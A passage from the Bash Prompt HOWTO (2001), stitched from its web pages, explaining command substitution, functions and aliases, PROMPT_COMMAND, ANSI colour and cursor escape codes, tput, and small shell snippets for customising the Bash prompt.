Normally, the shell does only one round of substitutions on the expression it is evaluating: if you say echo $newvar the shell will only go so far as to determine that $newvar is equal to the text string $testvar, it won't evaluate what $testvar is equal to. eval forces that evaluation.

Prev | Home | Next
Variables | Up | Command Substitution


Command Substitution

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 3. Bash Programming and Shell Scripts Next

3.3. Command Substitution

In almost all cases in this document, I use the $(<command>) convention for command substitution: that is,

$(date +%H%M)

means "substitute the output from the date +%H%M command here." This works in Bash 2.0+. In some older versions of Bash, prior to 1.14.7, you may need to use backquotes (`date +%H%M`). Backquotes can be used in Bash 2.0+, but are being phased out in favor of $(), which nests better. If you're using an earlier version of Bash, you can usually substitute backquotes where you see $(). If the command substitution is escaped (ie. \$(command) ), then use backslashes to escape BOTH your backquotes (ie. \'command\' ).

Prev | Home | Next
Quotes and Special Characters | Up | Non-Printing Characters in Prompts


Sourcing a File

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 3. Bash Programming and Shell Scripts Next

3.5. Sourcing a File

When a file is sourced (by typing either source filename or . filename at the command line), the lines of code in the file are executed as if they were printed at the command line. This is particularly useful with complex prompts, to allow them to be stored in files and called up by sourcing the file they are in.

In examples, you will find that I often include #!/bin/bash at the beginning of files including functions. This is not necessary if you are sourcing a file, just as it isn't necessary to chmod +x a file that is going to be sourced. I do this because it makes Vim (my editor of choice, no flames please - you use what you like) think I'm editing a shell script and turn on colour syntax highlighting.

Prev | Home | Next
Non-Printing Characters in Prompts | Up | Functions, Aliases, and the Environment


Functions, Aliases, and the Environment

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 3. Bash Programming and Shell Scripts Next

3.6. Functions, Aliases, and the Environment

As mentioned earlier, PS1, PS2, PS3, PS4, and PROMPT_COMMAND are all stored in the Bash environment. For those of us coming from a DOS background, the idea of tossing big hunks of code into the environment is horrifying, because that DOS environment was small, and didn't exactly grow well. There are probably practical limits to what you can and should put in the environment, but I don't know what they are, and we're probably talking a couple of orders of magnitude larger than what DOS users are used to. As Dan put it:

"In my interactive shell I have 62 aliases and 25 functions. My rule of thumb is that if I need something solely for interactive use and can handily write it in bash I make it a shell function (assuming it can't be easily expressed as an alias). If these people are worried about memory they don't need to be using bash. Bash is one of the largest programs I run on my linux box (outside of Oracle). Run top sometime and press 'M' to sort by memory - see how close bash is to the top of the list. Heck, it's bigger than sendmail! Tell 'em to go get ash or something."

I guess he was using console only the day he tried that: running X and X apps, I have a lot of stuff larger than Bash. But the idea is the same: the environment is something to be used, and don't worry about overfilling it.

I risk censure by Unix gurus when I say this (for the crime of over-simplification), but functions are basically small shell scripts that are loaded into the environment for the purpose of efficiency. Quoting Dan again: "Shell functions are about as efficient as they can be. It is the approximate equivalent of sourcing a bash/bourne shell script save that no file I/O need be done as the function is already in memory. The shell functions are typically loaded from [.bashrc or .bash_profile] depending on whether you want them only in the initial shell or in subshells as well. Contrast this with running a shell script: Your shell forks, the child does an exec, potentially the path is searched, the kernel opens the file and examines enough bytes to determine how to run the file, in the case of a shell script a shell must be started with the name of the script as its argument, the shell then opens the file, reads it and executes the statements. Compared to a shell function, everything other than executing the statements can be considered unnecessary overhead."

Aliases are simple to create:

alias d="ls --color=tty --classify"
alias v="d --format=long"
alias rm="rm -i"

Any arguments you pass to the alias are passed to the command line of the aliased command (ls in the first two cases). Note that aliases can be nested, and they can be used to make a normal unix command behave in a different way. (I agree with the argument that you shouldn't use the latter kind of aliases - if you get in the habit of relying on "rm *" to ask you if you're sure, you may lose important files on a system that doesn't use your alias.)

Functions are used for more complex program structures. As a general rule, use an alias for anything that can be done in one line. Functions differ from shell scripts in that they are loaded into the environment so that they work more quickly. As a general rule again, you would want to keep functions relatively small, and any shell script that gets relatively large should remain a shell script rather than turning it into a function. Your decision to load something as a function is also going to depend on how often you use it. If you use a small shell script infrequently, leave it as a shell script. If you use it often, turn it into a function.

To modify the behaviour of ls, you could do something like the following:

function lf
{
    ls --color=tty --classify $*
    echo "$(ls -l $* | wc -l) files"
}

This could readily be set as an alias, but for the sake of example, we'll make it a function. If you type the text shown into a text file and then source that file, the function will be in your environment, and be immediately available at the command line without the overhead of a shell script mentioned previously. The usefulness of this becomes more obvious if you consider adding more functionality to the above function, such as using an if statement to execute some special code when links are found in the listing.

Prev | Home | Next
Sourcing a File | Up | External Commands


PROMPT_COMMAND

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 4. External Commands Next

4.1. PROMPT_COMMAND

Bash provides an environment variable called PROMPT_COMMAND. The contents of this variable are executed as a regular Bash command just before Bash displays a prompt.

[21:55:01][giles@nikola:~] PS1="[\u@\h:\w]\$ "
[giles@nikola:~] PROMPT_COMMAND="date +%H%M"
2155
[giles@nikola:~] d
bin   mail
2156
[giles@nikola:~]

What happened above was that I changed PS1 to no longer include the \t escape sequence (added in a previous section), so the time was no longer a part of the prompt. Then I used date +%H%M to display the time in a format I like better. But it appears on a different line than the prompt. Tidying this up using echo -n ... as shown below works with Bash 2.0+, but appears not to work with Bash 1.14.7: apparently the prompt is drawn in a different way, and the following method results in overlapping text.

2156
[giles@nikola:~] PROMPT_COMMAND="echo -n [$(date +%H%M)]"
[2156][giles@nikola:~]$
[2156][giles@nikola:~]$ d
bin   mail
[2157][giles@nikola:~]$ unset PROMPT_COMMAND
[giles@nikola:~]

echo -n ... controls the output of the date command and suppresses the trailing newline, allowing the prompt to appear all on one line. At the end, I used the unset command to remove the PROMPT_COMMAND environment variable.

Prev | Home | Next
External Commands | Up | External Commands in the Prompt


External Commands in the Prompt

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 4. External Commands Next

4.2. External Commands in the Prompt

You can use the output of regular Linux commands directly in the prompt as well. Obviously, you don't want to insert a lot of material, or it will create a large prompt. You also want to use a fast command, because it's going to be executed every time your prompt appears on the screen, and delays in the appearance of your prompt while you're working can be very annoying. (Unlike the previous example that this closely resembles, this does work with Bash 1.14.7.)

[21:58:33][giles@nikola:~]$ PS1="[\$(date +%H%M)][\u@\h:\w]\$ "
[2159][giles@nikola:~]$ ls
bin   mail
[2200][giles@nikola:~]$

It's important to notice the backslash before the dollar sign of the command substitution. Without it, the external command is executed exactly once: when the PS1 string is read into the environment. For this prompt, that would mean that it would display the same time no matter how long the prompt was used. The backslash protects the contents of $() from immediate shell interpretation, so date is called every time a prompt is generated.

Linux comes with a lot of small utility programs like date, grep, or wc that allow you to manipulate data. If you find yourself trying to create complex combinations of these programs within a prompt, it may be easier to make an alias, function, or shell script of your own, and call it from the prompt. Escape sequences are often required in bash shell scripts to ensure that shell variables are expanded at the correct time (as seen above with the date command): this is raised to another level within the prompt PS1 line, and avoiding it by creating functions is a good idea.

An example of a small shell script used within a prompt is given below:

#!/bin/bash
#     lsbytesum - sum the number of bytes in a directory listing
TotalBytes=0
for Bytes in $(ls -l | grep "^-" | awk '{ print $5 }')
do
    let TotalBytes=$TotalBytes+$Bytes
done
TotalMeg=$(echo -e "scale=3 \n$TotalBytes/1048576 \nquit" | bc)
echo -n "$TotalMeg"

I used to keep this as a function, it now lives as a shell script in my ~/bin directory, which is on my path. Used in a prompt:

[2158][giles@nikola:~]$ PS1="[\u@\h:\w (\$(lsbytesum) Mb)]\$ "
[giles@nikola:~ (0 Mb)]$ cd /bin
[giles@nikola:/bin (4.498 Mb)]$

Prev | Home | Next
PROMPT_COMMAND | Up | What to Put in Your Prompt


What to Put in Your Prompt

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 4. External Commands Next

4.3. What to Put in Your Prompt

You'll find I put username, machine name, time, and current directory name in most of my prompts. With the exception of the time, these are very standard items to find in a prompt, and time is probably the next most common addition. But what you include is entirely a matter of personal taste. Here is an interesting example to help give you ideas.

Dan's prompt is minimal but very effective, particularly for the way he works.

[giles@nikola:~]$ cur_tty=$(tty | sed -e "s/.*tty\(.*\)/\1/")
[giles@nikola:~]$ echo $cur_tty
p4
[giles@nikola:~]$ PS1="\!,$cur_tty,\$?\$ "
1095,p4,0$

Dan doesn't like that having the current working directory can resize the prompt drastically as you move through the directory tree, so he keeps track of that in his head (or types "pwd"). He learned Unix with csh and tcsh, so he uses his command history extensively (something many of us weaned on Bash do not do), so the first item in the prompt is the history number. The second item is the significant characters of the tty (the output of "tty" is cropped with sed), an item that can be useful to "screen" users. The third item is the exit value of the last command/pipeline (note that this is rendered useless by any command executed within the prompt - you could work around that by capturing it to a variable and playing it back, though). Finally, the "\$" is a dollar sign for a regular user, and switches to a hash mark ("#") if the user is root.

Prev | Home | Next
External Commands in the Prompt | Up | Saving Complex Prompts


Colours

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 6. ANSI Escape Sequences: Colours and Cursor Movement Next

6.1. Colours

As mentioned before, non-printing escape sequences have to be enclosed in \[\033[ and \]. For colour escape sequences, they should also be followed by a lowercase m.

If you try out the following prompts in an xterm and find that you aren't seeing the colours named, check out your ~/.Xdefaults file (and possibly its bretheren) for lines like XTerm*Foreground: BlanchedAlmond. This can be commented out by placing an exclamation mark ("!") in front of it. Of course, this will also be dependent on what terminal emulator you're using. This is the likeliest place that your term foreground colours would be overridden.

To include blue text in the prompt:

PS1="\[\033[34m\][\$(date +%H%M)][\u@\h:\w]$ "

The problem with this prompt is that the blue colour that starts with the 34 colour code is never switched back to the regular colour, so any text you type after the prompt is still in the colour of the prompt. This is also a dark shade of blue, so combining it with the bold code might help:

PS1="\[\033[1;34m\][\$(date +%H%M)][\u@\h:\w]$\[\033[0m\] "

The prompt is now in light blue, and it ends by switching the colour back to nothing (whatever foreground colour you had previously).

Here are the rest of the colour equivalences:

Black       0;30     Dark Gray     1;30
Blue        0;34     Light Blue    1;34
Green       0;32     Light Green   1;32
Cyan        0;36     Light Cyan    1;36
Red         0;31     Light Red     1;31
Purple      0;35     Light Purple  1;35
Brown       0;33     Yellow        1;33
Light Gray  0;37     White         1;37

Daniel Dui (ddui@iee.org) points out that to be strictly accurate, we must mention that the list above is for colours at the console. In an xterm, the code 1;31 isn't "Light Red," but "Bold Red." This is true of all the colours.

You can also set background colours by using 44 for Blue background, 41 for a Red background, etc. There are no bold background colours. Combinations can be used, like Light Red text on a Blue background: \[\033[44;1;31m\], although setting the colours separately seems to work better (ie. \[\033[44m\]\[\033[1;31m\]). Other codes available include 4: Underscore, 5: Blink, 7: Inverse, and 8: Concealed.

Note

Many people (myself included) object strongly to the "blink" attribute because it's extremely distracting and irritating. Fortunately, it doesn't work in any terminal emulators that I'm aware of - but it will still work on the console.

Note

If you were wondering (as I did) "What use is a 'Concealed' attribute?!" - I saw it used in an example shell script (not a prompt) to allow someone to type in a password without it being echoed to the screen. However, this attribute doesn't seem to be honoured by many terms other than "Xterm."

Based on a prompt called "elite2" in the Bashprompt package (which I have modified to work better on a standard console, rather than with the special xterm fonts required to view the original properly), this is a prompt I've used a lot:

function elite
{

local GRAY="\[\033[1;30m\]"
local LIGHT_GRAY="\[\033[0;37m\]"
local CYAN="\[\033[0;36m\]"
local LIGHT_CYAN="\[\033[1;36m\]"
local NO_COLOUR="\[\033[0m\]"

case $TERM in
    xterm*|rxvt*)
        local TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        local TITLEBAR=""
        ;;
esac

local temp=$(tty)
local GRAD1=${temp:5}
PS1="$TITLEBAR\
$GRAY-$CYAN-$LIGHT_CYAN(\
$CYAN\u$GRAY@$CYAN\h\
$LIGHT_CYAN)$CYAN-$LIGHT_CYAN(\
$CYAN\#$GRAY/$CYAN$GRAD1\
$LIGHT_CYAN)$CYAN-$LIGHT_CYAN(\
$CYAN\$(date +%H%M)$GRAY/$CYAN\$(date +%d-%b-%y)\
$LIGHT_CYAN)$CYAN-$GRAY-\
$LIGHT_GRAY\n\
$GRAY-$CYAN-$LIGHT_CYAN(\
$CYAN\$$GRAY:$CYAN\w\
$LIGHT_CYAN)$CYAN-$GRAY-$LIGHT_GRAY "
PS2="$LIGHT_CYAN-$CYAN-$GRAY-$NO_COLOUR "
}

I define the colours as temporary shell variables in the name of readability. It's easier to work with. The "GRAD1" variable is a check to determine what terminal you're on. Like the test to determine if you're working in an Xterm, it only needs to be done once. The prompt you see look like this, except in colour:

--(giles@gcsu202014)-(30/pts/6)-(0816/01-Aug-01)--
--($:~/tmp)--

To help myself remember what colours are available, I wrote a script that output all the colours to the screen. Daniel Crisman has supplied a much nicer version which I include below:

#!/bin/bash
#
#   This file echoes a bunch of color codes to the
#   terminal to demonstrate what's available.  Each
#   line is the color code of one forground color,
#   out of 17 (default + 16 escapes), followed by a
#   test use of that color on all nine background
#   colors (default + 8 escapes).
#

T='gYw'   # The test text

echo -e "\n                 40m     41m     42m     43m\
     44m     45m     46m     47m";

for FGs in '    m' '   1m' '  30m' '1;30m' '  31m' '1;31m' '  32m' \
           '1;32m' '  33m' '1;33m' '  34m' '1;34m' '  35m' '1;35m' \
           '  36m' '1;36m' '  37m' '1;37m';
  do FG=${FGs// /}
  echo -en " $FGs \033[$FG  $T  "
  for BG in 40m 41m 42m 43m 44m 45m 46m 47m;
    do echo -en "$EINS \033[$FG\033[$BG  $T  \033[0m";
  done
  echo;
done
echo
Prev | Home | Next
ANSI Escape Sequences: Colours and Cursor Movement | Up | Cursor Movement


Cursor Movement

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 6. ANSI Escape Sequences: Colours and Cursor Movement Next

6.2. Cursor Movement

ANSI escape sequences allow you to move the cursor around the screen at will. This is more useful for full screen user interfaces generated by shell scripts, but can also be used in prompts. The movement escape sequences are as follows:

- Position the Cursor:
  \033[<L>;<C>H
     Or
  \033[<L>;<C>f
  puts the cursor at line L and column C.
- Move the cursor up N lines:
  \033[<N>A
- Move the cursor down N lines:
  \033[<N>B
- Move the cursor forward N columns:
  \033[<N>C
- Move the cursor backward N columns:
  \033[<N>D

- Clear the screen, move to (0,0):
  \033[2J
- Erase to end of line:
  \033[K

- Save cursor position:
  \033[s
- Restore cursor position:
  \033[u

The latter two codes are NOT honoured by many terminal emulators. The only ones that I'm aware of that do are xterm and nxterm - even though the majority of terminal emulators are based on xterm code. As far as I can tell, rxvt, kvt, xiterm, and Eterm do not support them. They are supported on the console.

Try putting in the following line of code at the prompt (it's a little clearer what it does if the prompt is several lines down the terminal when you put this in): echo -en "\033[7A\033[1;35m BASH \033[7B\033[6D" This should move the cursor seven lines up screen, print the word " BASH ", and then return to where it started to produce a normal prompt. This isn't a prompt: it's just a demonstration of moving the cursor on screen, using colour to emphasize what has been done.

Save this in a file called "clock":

#!/bin/bash

function prompt_command {
let prompt_x=$COLUMNS-5
}

PROMPT_COMMAND=prompt_command

function clock {
local       BLUE="\[\033[0;34m\]"
local        RED="\[\033[0;31m\]"
local  LIGHT_RED="\[\033[1;31m\]"
local      WHITE="\[\033[1;37m\]"
local  NO_COLOUR="\[\033[0m\]"
case $TERM in
    xterm*)
        TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        TITLEBAR=""
        ;;
esac

PS1="${TITLEBAR}\
\[\033[s\033[1;\$(echo -n \${prompt_x})H\]\
$BLUE[$LIGHT_RED\$(date +%H%M)$BLUE]\[\033[u\033[1A\]
$BLUE[$LIGHT_RED\u@\h:\w$BLUE]\
$WHITE\$$NO_COLOUR "
PS2='> '
PS4='+ '
}

This prompt is fairly plain, except that it keeps a 24 hour clock in the upper right corner of the terminal (even if the terminal is resized). This will NOT work on the terminal emulators that I mentioned that don't accept the save and restore cursor position codes. If you try to run this prompt in any of those terminal emulators, the clock will appear correctly, but the prompt will be trapped on the second line of the terminal.

See also Section 12.9 for a more extensive use of these codes.

Prev | Home | Next
Colours | Up | Xterm Title Bar Manipulations


Colours and Cursor Movement With tput

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 6. ANSI Escape Sequences: Colours and Cursor Movement Next

6.4. Colours and Cursor Movement With tput

As with so many things in Unix, there is more than one way to achieve the same ends. A utility called tput can also be used to move the cursor around the screen, get back information about the status of the terminal, or set colours. man tput doesn't go into much detail about the available commands, but Emilio Lopes e-mailed me to point out that man terminfo will give you a huge list of capabilities, many of which are device independent, and therefore better than the escape sequences previously mentioned. He suggested that I rewrite all the examples using tput for this reason. He is correct that I should, but I've had some trouble controlling it and getting it to do everything I want it to. However, I did rewrite one prompt which you can see as an example: Section 12.8.

Here is a list of tput capabilities that I have found useful:

tput Colour Capabilities

tput setab [1-7]

Set a background colour using ANSI escape

tput setb [1-7]

Set a background colour

tput setaf [1-7]

Set a foreground colour using ANSI escape

tput setf [1-7]

Set a foreground colour

tput Text Mode Capabilities

tput bold

Set bold mode

tput dim

turn on half-bright mode

tput smul

begin underline mode

tput rmul

exit underline mode

tput rev

Turn on reverse mode

tput smso

Enter standout mode (bold on rxvt)

tput rmso

Exit standout mode

tput sgr0

Turn off all attributes (doesn't work quite as expected)

tput Cursor Movement Capabilities

tput cup Y X

Move cursor to screen location X,Y (top left is 0,0)

tput sc

Save the cursor position

tput rc

Restore the cursor position

tput lines

Output the number of lines of the terminal

tput cols

Output the number of columns of the terminal

tput cub N

Move N characters left

tput cuf N

Move N characters right

tput cub1

move left one space

tput cuf1

non-destructive space (move right one space)

tput ll

last line, first column (if no cup)

tput cuu1

up one line

tput Clear and Insert Capabilities

tput ech N

Erase N characters

tput clear

clear screen and home cursor

tput el1

Clear to beginning of line

tput el

clear to end of line

tput ed

clear to end of screen

tput ich N

insert N characters (moves rest of line forward!)

tput il N

insert N lines

This is by no means a complete list of what terminfo and tput allow, in fact it's only the beginning. man tput and man terminfo if you want to know more.

Prev | Home | Next
Xterm Title Bar Manipulations | Up | Special Characters: Octal Escape Sequences


Availability

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 8. The Bash Prompt Package Next

8.1. Availability

The Bash Prompt package was available at http://bash.current.nu/, and is the work of several people, co-ordinated by Rob Current (aka BadLandZ). The site was down in July 2001, but Rob Current assures me it will be back up soon. The package is in beta, but offers a simple way of using multiple prompts (or themes), allowing you to set prompts for login shells, and for subshells (ie. putting PS1 strings in ~/.bash_profile and ~/.bashrc). Most of the themes use the extended VGA character set, so they look bad unless they're used with VGA fonts (which aren't the default on most systems). Little work has been done on this project recently: I hope there's some more progress.

Prev | Home | Next
The Bash Prompt Package | Up | Xterm Fonts


Xterm Fonts

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 8. The Bash Prompt Package Next

8.2. Xterm Fonts

To use some of the most attractive prompts in the Bash Prompt package, you need to get and install fonts that support the character sets expected by the prompts. These are "VGA Fonts," which support different character sets than regular Xterm fonts. Standard Xterm fonts support an extended alphabet, including a lot of letters with accents. In VGA fonts, this material is replaced by graphical characters - blocks, dots, lines. I asked for an explanation of this difference, and Sérgio Vale e Pace (space@gold.com.br) wrote me:

I love computer history so here goes:

When IBM designed the first PC they needed some character codes to use, so they got the ASCII character table (128 numbers, letters, and some punctuation) and to fill a byte addressed table they added 128 more characters. Since the PC was designed to be a home computer, they fill the remaining 128 characters with dots, lines, points, etc, to be able to do borders, and grayscale effects (remember that we are talking about 2 color graphics).

Time passes, PCs become a standard, IBM creates more powerful systems and the VGA standard is born, along with 256 colour graphics, and IBM continues to include their IBM-ASCII characters table.

More time passes, IBM has lost their leadership in the PC market, and the OS authors dicover that there are other languages in the world that use non-english characters, so they add international alphabet support in their systems. Since we now have bright and colorful screens, we can trash the dots, lines, etc. and use their space for accented characters and some greek letters, which you'll see in Linux.

Prev | Home | Next
Availability | Up | Changing the Xterm Font


Changing the Xterm Font

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 8. The Bash Prompt Package Next

8.3. Changing the Xterm Font

Getting and installing these fonts is a somewhat involved process. First, retrieve the font(s). Next, ensure they're .pcf or .pcf.gz files. If they're .bdf files, investigate the "bdftopcf" command (ie. read the man page). Drop the .pcf or .pcf.gz files into the /usr/X11R6/lib/X11/fonts/misc dir (this is the correct directory for RedHat 5.1 through 7.1, it may be different on other distributions). cd to that directory, and run mkfontdir. Then run xset fp rehash and/or restart your X font server, whichever applies to your situation. Sometimes it's a good idea to go into the fonts.alias file in the same directory, and create shorter alias names for the fonts.

To use the new fonts, you start your Xterm program of choice with the appropriate command to your Xterm, which can be found either in the man page or by using the "--help" parameter on the command line. Popular terms would be used as follows:

xterm -font <fontname>

OR

xterm -fn <fontname> -fb <fontname-bold>
Eterm -F <fontname>
rxvt -fn <fontname>

VGA fonts are available from Stumpy's ANSI Fonts page at http://home.earthlink.net/~us5zahns/enl/ansifont.html (which I have borrowed from extensively while writing this).

Prev | Home | Next
Xterm Fonts | Up | Loading a Different Prompt


Loading a Different Prompt, Later

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 9. Loading a Different Prompt Next

9.1. Loading a Different Prompt, Later

The explanations in this HOWTO have shown how to make PS1 environment variables, or how to incorporate those PS1 and PS2 strings into functions that could be called by ~/.bashrc or as a theme by the bashprompt package.

Using the bashprompt package, you would type bashprompt -i to see a list of available themes. To set the prompt in future login shells (primarily the console, but also telnet and Xterms, depending on how your Xterms are set up), you would type bashprompt -l themename. bashprompt then modifies your ~/.bash_profile to call the requested theme when it starts. To set the prompt in future subshells (usually Xterms, rxvt, etc.), you type bashprompt -s themename, and bashprompt modifies your ~/.bashrc file to call the appropriate theme at startup.

See also Section 2.6 for Johan Kullstam's note regarding the importance of putting the PS? strings in ~/.bashrc .

Prev | Home | Next
Loading a Different Prompt | Up | Loading a Different Prompt, Immediately


Loading a Different Prompt, Immediately

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 9. Loading a Different Prompt Next

9.2. Loading a Different Prompt, Immediately

You can change the prompt in your current terminal (using the example "elite" function above) by typing source elite followed by elite (assuming that the elite function file is the working directory). This is somewhat cumbersome, and leaves you with an extra function (elite) in your environment space - if you want to clean up the environment, you would have to type unset elite as well. This would seem like an ideal candidate for a small shell script, but a script doesn't work here because the script cannot change the environment of your current shell: it can only change the environment of the subshell it runs in. As soon as the script stops, the subshell goes away, and the changes the script made to the environment are gone. What can change environment variables of your current shell are environment functions. The bashprompt package puts a function called callbashprompt into your environment, and, while they don't document it, it can be called to load any bashprompt theme on the fly. It looks in the theme directory it installed (the theme you're calling has to be there), sources the function you asked for, loads the function, and then unsets the function, thus keeping your environment uncluttered. callbashprompt wasn't intended to be used this way, and has no error checking, but if you keep that in mind, it works quite well.

Prev | Home | Next
Loading a Different Prompt, Later | Up | Loading Different Prompts in Different X Terms


Loading Different Prompts in Different X Terms

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 9. Loading a Different Prompt Next

9.3. Loading Different Prompts in Different X Terms

If you have a specific prompt to go with a particular project, or some reason to load different prompts at different times, you can use multiple bashrc files instead of always using your ~/.bashrc file. The Bash command is something like bash --rcfile /home/giles/.bashprompt/bashrc/bashrcdan, which will start a new version of Bash in your current terminal. To use this in combination with a Window Manager menuing system, use a command like rxvt -e bash --rcfile /home/giles/.bashprompt/bashrc/bashrcdan. The exact command you use will be dependent on the syntax of your X term of choice and the location of the bashrc file you're using.

Prev | Home | Next
Loading a Different Prompt, Immediately | Up | Loading Prompt Colours Dynamically


A "Proof of Concept" Example

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 10. Loading Prompt Colours Dynamically Next

10.1. A "Proof of Concept" Example

This is a "proof of concept" more than an attractive prompt: changing colours within the prompt dynamically. In this example, the colour of the host name changes depending on the load (as a warning).

#!/bin/bash
#   "hostloadcolour" - 17 October 98, by Giles
#
#   The idea here is to change the colour of the host name in the prompt,
#   depending on a threshold load value.

# THRESHOLD_LOAD is the value of the one minute load (multiplied
# by one hundred) at which you want
# the prompt to change from COLOUR_LOW to COLOUR_HIGH
THRESHOLD_LOAD=200
COLOUR_LOW='1;34'
          # light blue
COLOUR_HIGH='1;31'
           # light red

function prompt_command {
ONE=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\1/" -e "s/ //g")
#   Apparently, "scale" in bc doesn't apply to multiplication, but does
#   apply to division.
ONEHUNDRED=$(echo -e "scale=0 \n $ONE/0.01 \nquit \n" | bc)
if [ $ONEHUNDRED -gt $THRESHOLD_LOAD ]
then
    HOST_COLOUR=$COLOUR_HIGH
    # Light Red
else
    HOST_COLOUR=$COLOUR_LOW
    # Light Blue
fi
}

function hostloadcolour {

PROMPT_COMMAND=prompt_command
PS1="[$(date +%H%M)][\u@\[\033[\$(echo -n \$HOST_COLOUR)m\]\h\[\033[0m\]:\w]$ "
}

Using your favorite editor, save this to a file named "hostloadcolour". If you have the Bashprompt package installed, this will work as a theme. If you don't, type source hostloadcolour and then hostloadcolour. Either way, "prompt_command" becomes a function in your environment. If you examine the code, you will notice that the colours ($COLOUR_HIGH and $COLOUR_LOW) are set using only a partial colour code, ie. "1;34" instead of "\[\033[1;34m\]", which I would have preferred. I have been unable to get it to work with the complete code. Please let me know if you manage this.

Prev | Home | Next
Loading Prompt Colours Dynamically | Up | Prompt Code Snippets


Built-in Escape Sequences

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.1. Built-in Escape Sequences

See Section 2.5 for a complete list of built-in escape sequences. This list is taken directly from the Bash man page, so you can also look there.

Prev | Home | Next
Prompt Code Snippets | Up | Date and Time


Date and Time

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.2. Date and Time

If you don't like the built-ins for date and time, extracting the same information from the date command is relatively easy. Examples already seen in this HOWTO include date +%H%M, which will put in the hour in 24 hour format, and the minute. date "+%A, %d %B %Y" will give something like "Sunday, 06 June 1999". For a full list of the interpreted sequences, type date --help or man date.

Relative speed: "date ..." takes about 0.12 seconds on an unloaded 486SX25.

Prev | Home | Next
Built-in Escape Sequences | Up | Counting Files in the Current Directory


Counting Files in the Current Directory

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.3. Counting Files in the Current Directory

To determine how many files there are in the current directory, put in ls -1 | wc -l. This uses wc to do a count of the number of lines (-l) in the output of ls -1. It doesn't count dotfiles. Please note that ls -l (that's an "L" rather than a "1" as in the previous examples) which I used in previous versions of this HOWTO will actually give you a file count one greater than the actual count. Thanks to Kam Nejad for this point.

If you want to count only files and NOT include symbolic links (just an example of what else you could do), you could use ls -l | grep -v ^l | wc -l (that's an "L" not a "1" this time, we want a "long" listing here). grep checks for any line beginning with "l" (indicating a link), and discards that line (-v).

Relative speed: "ls -1 /usr/bin/ | wc -l" takes about 1.03 seconds on an unloaded 486SX25 (/usr/bin/ on this machine has 355 files). "ls -l /usr/bin/ | grep -v ^l | wc -l" takes about 1.19 seconds.

Prev | Home | Next
Date and Time | Up | Total Bytes in the Current Directory


Total Bytes in the Current Directory

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.4. Total Bytes in the Current Directory

If you want to know how much space the contents of the current directory take up, you can use something like the following:

let TotalBytes=0

for Bytes in $(ls -l | grep "^-" | awk '{ print $5 }')
do
   let TotalBytes=$TotalBytes+$Bytes
done

# The if...fi's give a more specific output in byte, kilobyte, megabyte,
# and gigabyte

if [ $TotalBytes -lt 1024 ]; then
   TotalSize=$(echo -e "scale=3 \n$TotalBytes \nquit" | bc)
   suffix="b"
else if [ $TotalBytes -lt 1048576 ]; then
   TotalSize=$(echo -e "scale=3 \n$TotalBytes/1024 \nquit" | bc)
   suffix="kb"
else if [ $TotalBytes -lt 1073741824 ]; then
   TotalSize=$(echo -e "scale=3 \n$TotalBytes/1048576 \nquit" | bc)
   suffix="Mb"
else
   TotalSize=$(echo -e "scale=3 \n$TotalBytes/1073741824 \nquit" | bc)
   suffix="Gb"
fi
fi
fi

Code courtesy (in part) of Sam Schmit (<id at pt dot lu>) and his uncle Jean-Paul, who ironed out a fairly major bug in my original code, and just generally cleaned it up.

Relative speed: this process takes between 3.2 and 5.8 seconds in /usr/bin/ (14.7 meg in the directory) on an unloaded 486SX25, depending on how much of the information is cached (if you use this in a prompt, more or less of it will be cached depending how long you work in the directory).

Prev | Home | Next
Counting Files in the Current Directory | Up | Checking the Current TTY


Checking the Current TTY

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 11. Prompt Code Snippets Next

11.5. Checking the Current TTY

The tty command returns the filename of the terminal connected to standard input. This comes in two formats on the Linux systems I have used, either "/dev/tty4" or "/dev/pts/2". I've used several methods over time, but the simplest I've found so far (probably both Linux- and Bash-2.x specific) is temp=$(tty) ; echo ${temp:5}. This removes the first five characters of the tty output, in this case "/dev/".

Previously, I used tty | sed -e "s:/dev/::", which removes the leading "/dev/". Older systems (in my experience, RedHat through 5.2) returned only filenames in the "/dev/tty4" format, so I used tty | sed -e "s/.*tty\(.*\)/\1/".

An alternative method: ps ax | grep $$ | awk '{ print $2 }'.

